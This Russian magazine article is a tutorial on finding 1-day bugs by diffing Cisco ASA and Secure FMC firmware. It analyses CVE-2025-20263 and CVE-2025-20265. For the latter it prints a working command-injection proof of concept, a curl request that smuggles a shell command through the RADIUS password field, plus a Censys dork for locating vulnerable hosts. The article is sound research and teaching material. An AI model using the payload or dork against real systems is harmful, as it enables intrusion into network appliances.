Данная статья взята с журнала Хакер и размещена здесь для ознакомления. Так что если Вам нравится, данный материал и у Вас есть возможность, то подпишитесь на них.
Прошивки сетевого оборудования нередко скрывают баги, поэтому их diff-анализ остается основным способом найти уязвимости и потенциальные точки для RCE. В сегодняшней статье я покажу общие техники и методы, которые применяю на практике при анализе 1-day-уязвимостей роутеров, файрволов и других подобных сетевых устройств.
Необходимый уровень для понимания статьи и освоения подхода невысокий. Я не брал в качестве примера уязвимости со сложным процессом поиска и эксплуатации, тем не менее базовое представление о работе с прошивками (например, что такое binwalk) иметь необходимо.
Цели
В качестве вендора для своих изысканий я выбрал Cisco. На самом деле на его месте мог быть кто угодно: Fortinet, Huawei, Juniper, — описанные методы плюс‑минус подойдут ко всем производителям сетевых устройств. Осталось найти перспективные CVE, которые в идеале способны дать нам RCE. Можно посмотреть информацию на CVE Details: Cisco, 2025 год, сортировка по оценке CVSS; а можно и адвайзори почитать: critical and high impact, сортировка по дате публикации.
На глаза в первую очередь попадает CVE-2025-20265: critical, CVSS 10.0, Cisco Secure FMC. Это нам интересно.
Дополнительно рассмотрим что‑то крупное и распространенное, например роутеры, сетевые коммутаторы, файрволы и прочее, что может торчать в сеть. С полным списком можно ознакомиться в Википедии. Я выбрал security-решение Cisco ASA.
Применяем фильтр адвайзори по этому продукту (Cisco Adaptive Security Appliance (ASA) Software), сортируем по дате публикации за 2025 год. Остаются только уязвимости high и medium по версии Cisco, но не critical. Ладно, работаем с тем, что есть. Не берем в расчет уязвимости, которые требуют аутентификации. Также постараемся найти те, что будут срабатывать на настройках по умолчанию.
В итоге у нас остаются только DoS. В таком случае надежда на невнимательность вендора, на вероятность того, что он мог пропустить потенциальный RCE. В первую очередь ищем намек на DoS из‑за повреждения памяти, а не логические баги и зацикливание выполнения. В описании CVE-2025-20263 находим следующее: «A successful exploit could allow the attacker to cause a buffer overflow condition». Думаю, этот вариант нам подходит, берем его в работу и начинаем анализ.
CVE-2025-20263
Ищем прошивки
Адвайзори по CVE-2025-20263, к сожалению, не дает никакой информации об уязвимых версиях. Он лишь предоставляет инструмент для проверки наличия уязвимостей, которые характерны для конкретного продукта конкретной версии. Можно обратиться за помощью к CVE.org — там есть полный список уязвимых версий.
Стоит отметить, что у Cisco ASA весьма нетривиальная система версионирования: чтобы познакомиться с ней поближе, смотри официальный сайт. Если вкратце, то Cisco параллельно поддерживает и выпускает патчи для множества версий, то есть для исследования можно брать любую минорную с необходимым vulnerability release (см. ссылку выше). Мне приглянулась 9.18.4.50, поскольку у меня уже были наработки по этой ветке релизов. В теории же можно было взять даже самую актуальную 9.22.1.3.
Поискав в интернете или же порыскав по сайту Cisco, мы можем наткнуться на Release Notes для Cisco ASA Interim, из которых узнаем, что следующая версия релиза после уязвимой — 9.18.4.52. Вдобавок нам открывается тот факт, что патч был выпущен еще в январе 2025 года (напомню, что первая публикация адвайзори датируется августом 2025-го).
Следующим этапом будет получение необходимых прошивок для анализа. На странице того же адвайзори можно найти ссылку на скачивание обновлений. Если я правильно понял лицензионную и корпоративную политику Cisco, то в случае патчей, которые фиксят баги уровня Critical и High, обновления можно получить бесплатно, в остальных случаях необходимо дополнительно платить за поддержку девайса. У меня в наличии не было ни устройства, ни оплаченного договора на получение обновлений и поддержку от Cisco.
Какие варианты получения прошивок мы можем использовать? Я думаю, что у каждого ресерчера свои подходы, мои же следующие:
- написать напрямую вендору как security researcher или bug bounty hunter (если у тебя только российское гражданство и нет навыков социальной инженерии, этот подход не сработает);
- получить триальную (или облачную) версию, если есть такая возможность, и хакнуть систему обновлений;
- взять конкретное имя файла прошивки и провести поиск в различных поисковых системах (на сайте получения обновлений есть точное указание имени файла:
asav9-18-4-50.zip); - включить в поиск различные файлопомойки, архивы;
- искать в индексерах P2P-сетей (привет, DC++ и ed2k и, конечно же, BitTorrent со своим DHT);
- на сайтах, которые специализируются на конкретной тематике, например LabHub — Network Emulator Disk Images Repository;
- на форумах добродушных сисадминов, готовых за бутылочку пива предоставить конкретный файл прошивки;
- у друзей‑китайцев, например kanxue, 52pjie.
Кроме железячных Cisco ASA, в природе существует Cisco Adaptive Security Virtual Appliance (ASAv). Они представляют собой подготовленные образы виртуальных систем, например для KVM, VMware, Hyper-V. Их также рекомендую найти и скачать. На моей практике различия прошивок для виртуалок и для реальных железок практически минимальны, если не брать в расчет архитектуру. Проводить динамический анализ, собирать fingerprint, разрабатывать PoC гораздо проще и дешевле на виртуалке.
Распаковываем
Здесь, конечно, все индивидуально: есть вендоры, которые придумывают кастомные пакеры, а есть те, кто предоставляет всё в zip-архиве. Эмпирически я вывел для себя такую статистику: чем проще достать файл прошивки в сети (например, скачать с официального сайта), тем больше вероятность, что он будет зашифрован. Пример с Cisco ASA — прямое тому доказательство: достать актуальные версии нетривиально, распаковать же можно с помощью Binwalk без каких‑либо дополнительных телодвижений.
Останавливаться и подробно описывать операционную систему, а также структуру прошивки я здесь не буду, для нашей задачи достаточно того факта, что используется Wind River Linux. Остальное без проблем можно найти в сети, Cisco ASA уже давно изучена вдоль и поперек. Например, прекрасное исследование выполнили в свое время ребята из NCC Group.
Ищем различия
Чтобы локализовать место исправления уязвимости, необходимо найти все различия между версиями в файловой системе. Для выполнения этой задачи в разное время я использовал разные инструменты:
- самописные скрипты с
ripgrep,fdиdeltaпод капотом; - готовое решение в виде
diffoscope; vifmс егоcompare,diffи другими командами.
В последнее время я открываю для себя мир проприетарного софта, поэтому пробую Beyond Compare. Для описанных в статье CVE он показал себя неплохо:
- хорошая скорость работы многопоточного алгоритма;
- различные правила определения «похожести» файлов, в том числе бинарных;
- гибкие фильтры для отсеивания ненужного, в том числе по содержимому файлов.
Искать 1-day бывает так же сложно, как иголку в стоге сена, а если нас еще обманули в адвайзори, то вообще практически невозможно. По этой причине нам необходимо максимально сузить область поиска, в идеале до одного файла, ведь потом нужно еще сравнить и проанализировать его содержимое.
Верим Cisco на слово и еще раз идем читать адвайзори более детально, чтобы понять, что мы можем сразу отбросить, даже не сравнивая содержимое отличающихся файлов. Строим гипотезы и предположения: если они не сработают и после очередного примененного фильтра пропадут вообще все файлы, то начинаем заново:
- это баг повреждения памяти → смотрим только исполняемые файлы и библиотеки;
- это HTTP-сервис → ищем
httpв файлах.

Дополнительно можно отсеять стандартные программы и библиотеки для Linux. У нас останется всего семь исполняемых файлов. Можно рискнуть и добавить фильтр на вхождение слова web, тогда останется только один файл — lina. Я бы уже перешел к анализу содержимого, но посчитаем, что нам повезло. Какие еще существуют способы фильтрации без глубокого анализа прошивки?
- Можно поискать следы имен найденных исполняемых файлов в системе:
rg -luuu "start-adi". В таком случае мы обнаружим, что многие связи ведут вlina, а также что существуют скрипты с именами по типу*http*, которые оперируют файломlina. - Воспользоваться утилитой
stringsи обнаружить, чтоlinaимеет следы полноценного веб‑сервера в отличие от других. В общем, доказательств того, что нам нужна именноlina, уже предостаточно. Кроме этого, после прочтения статьи от NCC Group вопросов с выбором файла для анализа вообще не возникнет, посколькуlinaявляется монструозным созданием на 100 Мбайт, которое отвечает практически за все процессы в Cisco ASA. И последний вариант идентификации нужного нам файла в нашей ситуации (вспоминаем, что это HTTP-сервис): поднять виртуальную машину (об этом позднее) и посмотреть открытые порты, а также слушающие их процессы.
Ищем баг
В интернете можно найти множество статей и видеоуроков, рассказывающих, как сравнивать бинарные файлы, поэтому останавливаться на том, что такое BinDiff, Diaphora и иже с ними, я не буду. Вместо этого я расскажу, с какими проблемами в процессе сравнения можно столкнуться и как я их обычно решаю.
Итак, какие проблемы у нас возникают при анализе CVE-2025-20263?
- Огромный размер исполняемого файла. Вывод: Diaphora на Python с неоптимизированными алгоритмами под капотом сразу идет лесом. Признаться честно, на моей практике Diaphora и так ни разу не давала вменяемый результат, но, может быть, мне просто не везет.
- Большое количество изменений от версии к версии. В этом мы поверхностно убедились во время сравнения в Beyond Compare.
В принципе, даже этих двух проблем достаточно, чтобы анализ 1-day зашел в тупик.
Начнем с самого очевидного и распространенного способа: BinDiff. И BinExport (утилита для экспорта информации из средства реверс‑инжиниринга в формат Protobuf), и BinDiff написаны на C++. Алгоритмы по оптимизации «настоялись» еще несколько лет назад, поэтому обычно я не испытывал проблем при анализе даже самых больших файлов. Сейчас я пользуюсь Binary Ninja, а в последних версиях в виде экспериментального плагина «завезли» BinExport, поэтому не придется править Makefile и генерировать заново API, чтобы собрать билд BinExport конкретно для моей версии. На моей машине экспорт занимает на удивление мало времени. Пользователи лицензий Commercial+ могут сделать так:
$ cat > binja_diff.py <<EOF import sys import binaryninja for f in sys.argv[1:]: with binaryninja.load(f) as bv: ctx = binaryninja.PluginCommandContext(bv) binaryninja.PluginCommand.get_valid_list(ctx)["BinExport"].execute(ctx) EOF $ python -m venv .venv && source .venv/bin/activate $ python ~/binaryninja/scripts/install_api.py $ python binja_diff.py ./asa9-18-4-5{0,2}-smp-k8.bin.extracted/5EE8A0/decompressed.bin.extracted/0/asa/bin/lina
Файл BinDiff SQLite я генерирую через CLI, тут же можно задавать необходимые опции:
./build/bindiff lina_9_18_4_5{0,2}.BinExport
Посмотрим, как сильно отличаются версии 50 и 52 (разница всего в два vulnerability release!):
$ export DIFF_FILE=lina_9_18_4_50_vs_lina_9_18_4_52.BinDiff $ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0" 802 $ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0 AND similarity > 0.7 AND confidence > 0.5" 482
802 функции... Да даже 482 функции нет никакого желания и времени анализировать. Я для себя вывел два варианта решения этой проблемы.
- Автоматизация отсеивания: пропускать перемену мест базовых блоков, инструкций, обращать внимание на сравнения, на добавление новых функций и все в таком роде. Остатки просматривать вручную. Это хороший и правильный вариант, но подобное решение на коленке быстро не разработаешь. Это уже тянет на отдельную статью.
- Метод допущений. Добавляем дополнительные условия, отталкиваясь от фактов: патч, вероятно, тривиальный, значит, и процент изменений небольшой; базовых блоков в функции должно быть немало, да и сама функция немаленькая.
Так делать, конечно, не стоит, поскольку в функции могут быть и другие изменения, помимо патча. Кроме этого, бывают случаи, когда разработчики меняют опции компилятора и мусорных изменений очень много. Тем не менее такой способ имеет право на жизнь: а вдруг удастся быстро найти нужное место?
$ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0 AND similarity > 0.95 AND confidence > 0.8 AND basicblocks > 4 AND instructions > 20" 268
Уже хорошо, но просматривать 268 графов функций — не самое приятное занятие.
Перейдем лучше к сравнению декомпилированного кода. Для этого снова воспользуемся Binary Ninja: для всех найденных функций получим HLIL и сравним друг с другом, как будто это исходный код. Для начала экспортируем информацию о сравнении функций в файл JSON. Затем извлечем нужные нам адреса. Декомпилируем функции по этим адресам (готовый скрипт можно взять из набора моих сниппетов для Binary Ninja). И проведем сравнение.
$ sqlite3 -json $DIFF_FILE "SELECT * FROM function WHERE similarity < 1.0 AND similarity > 0.95 AND confidence > 0.8 AND basicblocks > 4 AND instructions > 20" > out.json $ cat out.json | jq ".[].address1" > 50.txt && cat out.json | jq ".[].address2" > 52.txt $ # RUN BINARY NINJA SNIPPET $ cat > decomp_diff.sh <<EOF #!/bin/bash JSON_FILE="$1" DECOMP1_DIR="decomp_50" DECOMP2_DIR="decomp_52" to_hex() { printf "%08x.txt" "$1" } TEMP_FILE1=$(mktemp) TEMP_FILE2=$(mktemp) cleanup() { rm -f "$TEMP_FILE1" "$TEMP_FILE2" } trap cleanup EXIT preprocess_file() { local input_file="$1" local output_file="$2" sed -E ' s/sub_[0-9A-Fa-f]+/sub_XXXXXX/g s/0x[0-9A-Fa-f]+/0xXXXXXX/g s/[0-9A-Fa-f]{6,}/ADDR_XXXXXX/g #s/[0-9]+/NUM/g ' "$input_file" > "$output_file" } jq -c '.[]' "$JSON_FILE" | while read -r entry; do address1=$(echo "$entry" | jq -r '.address1') address2=$(echo "$entry" | jq -r '.address2') file1=$(to_hex "$address1") file2=$(to_hex "$address2") path1="$DECOMP1_DIR/$file1" path2="$DECOMP2_DIR/$file2" preprocess_file "$path1" "$TEMP_FILE1" preprocess_file "$path2" "$TEMP_FILE2" # delta "$TEMP_FILE1" "$TEMP_FILE2" nvim -d"$TEMP_FILE1" "$TEMP_FILE2" read -r done EOF $ chmod +x ./decomp_diff.sh && ./decomp_diff.sh out.json
Даже в этом скрипте для проведения сравнения есть допущения: мы обезличиваем все адреса функций, данных, шестнадцатеричные числа.

Думаю, что описанный подход вполне применим на практике. Но если все‑таки мы работаем наверняка, то я бы пошел другим путем — Version Tracking в составе Ghidra. Мой план действий следующий:
- Загружаем и анализируем бинари в Ghidra.
- В Version Tracking проводим сравнение, используя сначала все корреляторы Exact.
- Затем запускаем коррелятор BSim, который заточен как раз на поиск патчей.
- Проводим комфортное сравнение вывода декомпилятора.

Рекомендую итеративный анализ, если ни разу не пробовали Version Tracking
При этом не забываем поиграть:
- с тегами: помечаем интересные нам функции;
- с фильтрами: отсеиваем ненужное;
- с апрувами сравнения: обязательно помечаем все проверенные функции как идентичные (Accept), Version Tracking на основе этого дополнит список похожих функций.
Ну и в ходе анализа мы можем на месте изменять сигнатуры функций, давать имена и, в конце концов, написать скрипты, которые будут отсеивать ненужные нам изменения, внесенные компилятором.
![]()
А вот еще один рабочий для меня метод в случае, если реверс хотя бы одной версии все‑таки был произведен: анализ графа вызовов, например с помощью Ariadne: Binary Ninja Graph Analysis Plugin. Обычно этот плагин я использую для анализа покрытия во время триажа бага или нахождения новых путей во время фаззинга. Но и в случае диффинга он тоже выручает.

Анализ бага, PoC
Что мы имеем в итоге? Давай, чтобы было более очевидно, немного пореверсим и восстановим имена функций и переменных, хотя в нашем случае это вовсе не обязательно.
char* url_path = *(uint64_t*)((char*)http + 0x258); // 1 uint64_t admin_len = strnlen(url_path, __wrap_strlen("/admin/")); // 2 char* url_path_1 = *(uint64_t*)((char*)http + 0x258); int64_t offset; if (__wrap_strncmp(url_path_1, "/admin/", admin_len)) // 3 { if (!__wrap_strncmp(url_path_1, "/gadmin/", __wrap_strlen("/gadmin/"))) goto label_1943327; if (!__wrap_strncmp(url_path_1, "/hadmin/", __wrap_strlen("/hadmin/"))) goto label_1943327; offset = 0; } else { int64_t admin_wo_slash_len = __wrap_strlen("/admin"); offset = admin_wo_slash_len; url_path = &url_path[admin_wo_slash_len]; // 4 } memset(&out_buf, 0, 0x400); if (*(uint8_t*)((char*)http + 0x87c) == 1) __strncat_to_buf(0x400, &out_buf, "/gadmin", __wrap_strlen("/gadmin")); else __strncat_to_buf(0x400, &out_buf, "/hadmin", __wrap_strlen("/hadmin")); __strncat_to_buf(0x400, &out_buf, url_path, // 5 __wrap_strlen(*(uint64_t*)((char*)http + 0x258)) - offset); // 6
Входной аргумент — http, который содержит остаточные компоненты URL после хоста и порта (для простоты будем называть это просто URL). Этим аргументом мы как раз и можем оперировать (см. 1 в листинге). В случае если длина URL будет меньше длины строки /admin/, все пойдет наперекосяк:
- неверно посчитается размер строки
/admin/(см. 2), он будет меньше и равен длине URL; - сравнение строк (см. 3) произойдет некорректно, будет казаться, что, например, URL
/равен/admin/; - начнется buffer over-read (см. 4), если быть точным, то сначала произойдет неверное указание за границы;
- тут же возникнет integer underflow (см. 6):
strlen('/') - strlen('/admin'); - и вот здесь (см. 5) уже происходит buffer over-read.
По CWE из адвайзори тоже идеально подходит — CWE-680: Integer Overflow to Buffer Overflow.
Как это пофиксили:
int32_t url_path_len = __wrap_strlen(*(uint64_t*)((char*)http + 0x258)); if ((int64_t)__wrap_strlen(&out_buf) + (int64_t)url_path_len - offset <= 0x3ff) __strncat_to_buf(0x401, &out_buf, url_path);
Просто добавили проверку длины URL. Именно за нее и получилось зацепиться во время bindiff-анализа.
Что это нам дает? Да ничего! Обычный DoS, который даже не имеет смысла раскручивать. По этой причине не будет и дальнейшего анализа для выяснения входных точек и условий, и написания PoC.
К сожалению, Cisco, а именно команда PSIRT, весьма ответственно подходит к своей работе. Это одновременно и плюс (одних адвайзори может быть достаточно для принятия решения, брать ли в разработку тот или иной 1-day), и минус (надеяться на RCE, если написано, что только DoS, вряд ли стоит).
CVE-2025-20265
Ищем прошивки
В этом случае в адвайзори все отлично написано: уязвимы только версии 7.0.7 и 7.7.0. А на странице загрузки обновлений можно посмотреть, какие следующие версии имеют патч. Возьмем мажорную версию поновее 7.7.x, то есть будем сравнивать 7.7.0 и 7.7.10. На самом деле я бы взял, конечно, 7.0.6 и 7.0.7, уповая на то, что изменений там гораздо меньше, но на просторах интернета быстро найти прошивки этих версий не удалось, поэтому работаем с тем, что имеем. Используя уже испытанные методы поиска прошивок, находим необходимые и приступаем к анализу.
Распаковываем
Мои выводы по статистике работают и здесь: найти сложно, распаковать легко. В данном случае даже не потребуется Binwalk, скрипт распаковки уже внедрен в сам архив.
Ищем различия
Снова берем в руки Beyond Compare или то, чем ты любишь пользоваться, и ищем что‑нибудь интересное.
Как и ожидалось, между 7.7.0 и 7.7.10 просто пропасть! В рассматриваемом случае я рекомендую опять же выставить фильтры (упоминание RADIUS, например), но к ним дополнительно еще и настроить приоритеты поиска:
- Исполняемые файлы (в адвайзори нет конкретного упоминания, что это бинарный баг, но по статистике будем думать, что это именно так).
- Библиотеки.
- Файлы конфигурации (очень похоже, что проблемы могут быть и здесь).
- jar-файлы (их очень много, поэтому мы просто надеемся, что баг не там, хотя... если автоматизировать поиск, то будет даже проще, чем с бинарями).
- Все остальное.
Дальше у меня нет какого‑то конкретного решения или метода работы, только чуйка и опыт. И именно они подсказали, что проблема кроется в файле libsfclientx.so. В нем много упоминаний RADIUS, а самое главное, есть функции extern (кстати, можно использовать и такой маркер поиска нужных файлов для анализа), которые отвечают за проверку аутентификации через этот самый RADIUS.
Ищем баг
Как и в случае с CVE-2025-20263, можно провести полный bindiff-анализ. Но я даже не стал этим заниматься, поскольку с наскока получилось отследить точку входа.
Как я уже упоминал, в файлах есть функции extern, а значит, надо восстановить всю цепочку вызовов.
$ export NAME="libsfclientx.so" $ export FILE=$(fd $NAME) $ rg -luuu "$NAME" 2>/dev/null bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/lib/rpm/rpmdb.sqlite bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/etc/ld.so.cache bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so $ export SF=$(fd "sfclient.so") $ comm -1 -2 <(rz-bin -Eqq $FILE 2>/dev/null | sort) <(rz-bin -iqq $SF 2>/dev/null | sort) sfclient_Init sfclient_perror sfclient_User_GetById sfclient_User_GetByUsername sfclient_User_GetCurrentUser sfclient_User_GetId sfclient_User_LoggedIn sfclient_User_Login sfclient_User_Login_AuthConfig_Test sfclient_User_Login_Post $ rg -luuu "sfclient_User_Login" 2>/dev/null bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/SF/Auth.pm $ rg -luuu "sfclient_User_Login_Post" 2>/dev/null bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm $ rg -luuu "sfclient_Init" 2>/dev/null bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/SF/Auth.pm
Итак, у нас появились два подозреваемых, а именно Perl-файлы:
sfclient.pmAuth.pm
Первый файл оказался не чем иным, как оберткой над бинарной библиотекой sfclient.pm:
# ------- FUNCTION WRAPPERS -------- package sfclient; *sfclient_User_Login_AuthConfig_Test = *sfclientc::sfclient_User_Login_AuthConfig_Test; *sfclient_User_Login = *sfclientc::sfclient_User_Login; *sfclient_User_Login_Post = *sfclientc::sfclient_User_Login_Post; *sfclient_User_GetCurrentUser = *sfclientc::sfclient_User_GetCurrentUser; *sfclient_User_GetByUsername = *sfclientc::sfclient_User_GetByUsername; *sfclient_User_GetById = *sfclientc::sfclient_User_GetById; *sfclient_User_GetId = *sfclientc::sfclient_User_GetId; *sfclient_User_LoggedIn = *sfclientc::sfclient_User_LoggedIn; *sfclient_User_login = *sfclientc::sfclient_User_login; *sfclient_User_getcurrentuser = *sfclientc::sfclient_User_getcurrentuser; *sfclient_User_getbyusername = *sfclientc::sfclient_User_getbyusername; *sfclient_User_getbyid = *sfclientc::sfclient_User_getbyid; *sfclient_Init = *sfclientc::sfclient_Init; *sfclient_perror = *sfclientc::sfclient_perror;
А вот второй файл как раз использует эти самые функции. Проанализировать Perl-файлы оказалось достаточно просто. Можно взять любой сервер LSP Perl, установить в свой любимый редактор и отследить порядок вызовов интересующих нас функций. В итоге оказывается, что целевая функция всего одна: sfclient::sfclient_User_login($username, $password, $conf), где username и password — это не что иное, как креды, которые поступают при аутентификации.
Теперь необходимо вернуться назад и проанализировать функцию sfclient_User_Login из libsfclientx.so. Отследив аргументы, которые передаются в эту функцию, мы получаем следующую цепочку: sfclient_User_Login → check_auth_all → check_auth_radius → rc_auth_req → execute_radclient_command via create_av_pair → popen via snprintf. При этом popen — классическая функция для бага command injection. Смотрим адвайзори — CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'). Все сходится, переходим к анализу.
Анализ бага, PoC
Вот что передается на вход popen через подготовку с помощью snprintf: echo '%s' | /usr/bin/radclient %s -xs%s%s -r %d -t %d %s:%d %s %s 2>&1, где с использованием echo передаются отформатированные username и password. Для username в Perl-скриптах предусмотрены дополнительные проверки, этот объект нам не подходит, а вот password — то, что нужно. Он никак не обрабатывается, проверок никаких нет, поэтому можно не придумывать bypass для фильтров, а просто подать на вход строку типа '&&touch pwnlol&&.
Думаю, настало время перейти к PoC. Для этого необходимо выяснить, каким образом можно произвести аутентификацию. Делается это несложно: в ходе анализа мы выясняем, что в качестве frontend-сервера, если можно так выразиться, функционирует Apache, который распределяет запросы по backend-сервисам. Один из таких сервисов как раз веб‑сервер на Perl: Mojolicious. Там же происходит процесс аутентификации, авторизации и прочего. Endpoint аутентификации: /auth/login, для нее необходим POST-запрос с полями username и password. Отсюда и примитивный PoC: curl -k -d "username=a&password='&&touch pwnlol&&" $URL/auth/login.
Помнится, я говорил, что скачанные образы виртуальных машин могут быть нам полезны. Их время пришло: необходимо протестировать PoC. Что касается Cisco Secure FMC, то у них имеется официальная инструкция, которая, к счастью, прекрасно работает. На своей практике я опять же сталкивался с рядом проблем (официальная документация и форумы никак не помогают):
- не работает интерфейс serial, поэтому всегда при первом запуске подключай в KVM графический вывод;
- подобные решения бывают весьма требовательны к периферии: нужно то много оперативной памяти, то watchdog, то устройство SMBIOS UUID, к которому была бы возможность привязать лицензию;
- из‑за требований FIPS также иногда требуются современные CPU с поддержкой тех или иных инструкций.
После того как будет запущена виртуальная машина, веб‑доступ окажется уже включен. Теперь необходимо активировать аутентификацию через RADIUS. Здесь, на удивление, тоже все оказалось просто: вот официальная документация.
В ходе тестов на виртуальной машине можно выяснить, что уязвимый процесс запущен от пользователя www, соответственно, и все команды выполняются от него же. На самом деле здесь не проблема найти LPE, но подробно рассказывать я об этом не буду. Кроме того, если провести более глубокий анализ, то можно выяснить, что уязвимая функция также используется при SSH-доступе, а вот все команды там будут выполняться от root.
В качестве бонуса можно попробовать найти fingerprint для устройств конкретной версии, чтобы написать dork для Shodan, Censys, FOFA и подобных сервисов. Не будем углубляться в дебри, возьмем первое попавшееся уникальное значение с index-страницы.
Путь / редиректит на /ui/login. Страница login, в свою очередь, содержит хеш‑значение v9186jMMtwM. Если заглянуть в исходники bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/htdocs/templates/html_templates/login.tmpl (поиск этого файла можно произвести по контексту вокруг хеш‑значения), то там мы обнаружим, что за генерацию этого самого значения отвечает функция getVersion(). Выходит, это значение уникальное и характерно для конкретной версии, значит, его можно использовать. Пример дорка для Censys: web.endpoints.http.body: "v9186jMMtwM".
Автоматизированную версию PoC для проверки своего сервера можно найти на GitHub.
Итоги
Мы проанализировали два бага с разной степенью критичности, и оба анализа доказали, что Cisco не обманывают в адвайзори. Тем не менее все мы люди и совершаем ошибки, поэтому ты можешь выбрать иной 1-day от Cisco или другого вендора и прощупать места рядом с патчем. Мне не повезло, но зато второй баг доказал, что если в адвайзори заявлено 10.0, то это реально критическая уязвимость.